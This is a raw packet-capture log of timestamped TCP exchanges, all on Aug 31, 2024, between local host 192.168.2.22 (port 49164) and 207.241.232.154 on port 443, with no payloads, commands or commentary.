Aug 31, 2024 19:25:07.953960896 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.953969002 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.953984976 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.956072092 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.956100941 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.956125975 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.956136942 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.956146955 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.958575964 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.958599091 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.958621979 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.958631992 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.958642006 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.958688021 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.960354090 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.960376024 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.960411072 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.960418940 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.960428953 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.991151094 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.991178036 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.991204977 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.991219044 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.991230965 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.993396997 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.993417978 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.993443966 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.993452072 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.993460894 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.017904043 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.017930984 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.018002987 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.018011093 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.018034935 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.042287111 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.042310953 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.042347908 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.042359114 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.042367935 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.044645071 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.044668913 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.044694901 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.044703007 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.044718027 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.046541929 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.046570063 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.046597004 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.046606064 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.046622038 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.048470974 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.048501968 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.048530102 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.048537016 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.048557043 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.051146030 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.051167965 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.051201105 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.051213980 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.051223040 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.082285881 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.082310915 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.082361937 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.082377911 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.082387924 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.084326029 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.084351063 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.084379911 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.084386110 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.084397078 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.085334063 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.108277082 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.108300924 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.108464003 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.108464003 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.108474016 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.133157969 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.133184910 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.133255005 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.133255005 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.133264065 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.133275032 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.135392904 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.135416985 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.135442019 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.135449886 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.135461092 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.137114048 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.137140989 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.137166977 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.137173891 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.137182951 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.138843060 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.138864994 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.138889074 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.138896942 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.138906002 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.140466928 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.140511990 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.140527010 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.140535116 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.140556097 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.173460007 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.173482895 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.173540115 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.173547983 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.173558950 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.175065041 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.175093889 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.175122023 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.175128937 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.175142050 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.198941946 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.198965073 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.199023962 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.199031115 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.199050903 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.223993063 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.224021912 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.224049091 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.224056005 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.224070072 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.224095106 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.225373030 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.225402117 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.225426912 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.225435019 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.225444078 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.225451946 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.227138042 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.227164030 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.227185011 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.227190018 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.227209091 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.228853941 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.228874922 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.228897095 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.228904963 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.228921890 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.230570078 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.230603933 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.230618954 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.230626106 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.230658054 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.264420986 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.264451027 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.264475107 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.264487982 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.264502048 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.265789032 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.265815020 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.265841961 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.265849113 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.265861034 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.291071892 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.291100979 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.291152954 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.291160107 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.291186094 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.315304041 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.315331936 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.315380096 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.315387011 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.315396070 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.315418959 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.316234112 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.316256046 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.316283941 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.316292048 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.316301107 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.318079948 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.318106890 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.318139076 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.318145037 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.318155050 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.320331097 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.320357084 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.320382118 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.320386887 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.320400000 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.321213961 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.321238995 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.321264982 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.321271896 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.321284056 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.355547905 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.355571032 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.355617046 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.355624914 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.355669975 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.355669975 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.357052088 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.357076883 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.357100964 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.357106924 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.357119083 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.381145954 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.381167889 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.381200075 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.381207943 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.381217003 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.406270981 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.406303883 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.406331062 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.406338930 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.406358004 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.406372070 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.407548904 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.407574892 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.407603025 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.407608032 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.407625914 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.409256935 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.409282923 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.409308910 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.409316063 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.409326077 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.411106110 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.411128044 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.411154032 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.411159992 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.411170006 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.412049055 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.412075043 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.412097931 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.412102938 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.412125111 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.446304083 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.446326971 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.446374893 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.446384907 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.446392059 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.446491957 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.447274923 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.447299957 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.447323084 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.447329998 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.447343111 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.471754074 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.471780062 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.471810102 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.471816063 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.471824884 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.498172045 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.498198032 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.498224020 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.498233080 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.498244047 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.499416113 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.499442101 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.499464035 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.499470949 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.499485970 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.500293970 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.500317097 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.500344992 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.500350952 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.500361919 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.502127886 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.502151012 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.502178907 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.502185106 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.502194881 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.503093004 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.503113031 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.503139973 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.503146887 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.503156900 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.537168026 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.537194967 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.537347078 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.537355900 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.537384033 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.538310051 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.538336039 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.538362026 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.538367987 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.538378000 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.562792063 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.562820911 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.562855005 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.562860966 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.562870026 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.593872070 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.593895912 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.593951941 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.593960047 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.593981028 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.593981028 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.595000029 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.595026016 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.595060110 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.595068932 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.595077991 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.598767996 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.598790884 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.598822117 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.598829031 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.598840952 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.602335930 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.602359056 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.602382898 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.602391958 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.602401972 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.603267908 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.603287935 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.603313923 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.603318930 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.603334904 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.628103018 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.628129959 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.628165960 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.628175020 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.628190994 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.628197908 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.628945112 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.628968000 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.628998041 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.629004955 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.629014969 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.654670000 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.654700041 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.654735088 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.654742956 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.654761076 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.654761076 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.684447050 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.684467077 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.684513092 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.684520960 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.684542894 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.684542894 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:08.685600042 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:08.685623884 CEST	443	49164	207.241.232.154	192.168.2.22
